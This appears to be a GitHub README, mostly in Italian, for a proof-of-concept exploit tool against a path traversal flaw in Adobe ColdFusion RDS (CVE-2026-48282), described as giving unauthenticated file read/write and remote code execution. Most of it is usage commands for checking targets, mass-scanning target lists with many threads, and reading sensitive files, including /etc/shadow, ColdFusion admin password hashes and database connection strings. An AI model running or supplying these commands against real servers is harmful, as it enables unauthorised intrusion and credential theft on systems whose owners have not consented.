imbas007/cve-2026-48282Exploit proof-of-concept per CVE-2026-48282, un path traversal critico in Adobe ColdFusion RDS che consente lettura/scrittura di file non autenticata e RCE. Supporta scansione singolo target e di massa con estrazione file multi-thread.
CVE-2026-48282 è una vulnerabilità di path traversal nel Remote Development Service (RDS) di Adobe ColdFusion con un punteggio CVSS di 10.0 (Critico). Consente ad attaccanti non autenticati di leggere e scrivere file arbitrari tramite l'endpoint /CFIDE/main/ide.cfm, portando a Remote Code Execution (RCE).
# Clona il repository
git clone https://github.com/<username>/CVE-2026-48282.git
cd CVE-2026-48282
# Installa le dipendenze (richiede solo `requests`)
pip install -r requirements.txt
# Verifica vulnerabilità
python cve-2026-48282.py -t https://target.com --check
# Leggi file
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read "C:\\Windows\\win.ini"
python cve-2026-48282.py -t https://target.com --read "C:\\ColdFusion2023\\cfusion\\lib\\password.properties"
# Sfoglia directory
python cve-2026-48282.py -t https://target.com --browse "C:\\"
python cve-2026-48282.py -t https://target.com --browse "C:\\inetpub\\wwwroot"
# Scansione di massa di base
python cve-2026-48282.py -l targets.txt --check
# Più thread + salva risultati
python cve-2026-48282.py -l targets.txt --check --threads 30 -o vuln.txt
# Scansiona + legge automaticamente il file canary su ogni target vulnerabile trovato
python cve-2026-48282.py -l targets.txt --check --read "C:\\Windows\\win.ini" -o results.txt
Once confirmed vulnerable, extract credentials and configuration:
# ColdFusion admin password hash
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\password.properties"
# Database connection strings (neo-query.xml)
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\neo-query.xml"
# Linux targets
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read /etc/shadow
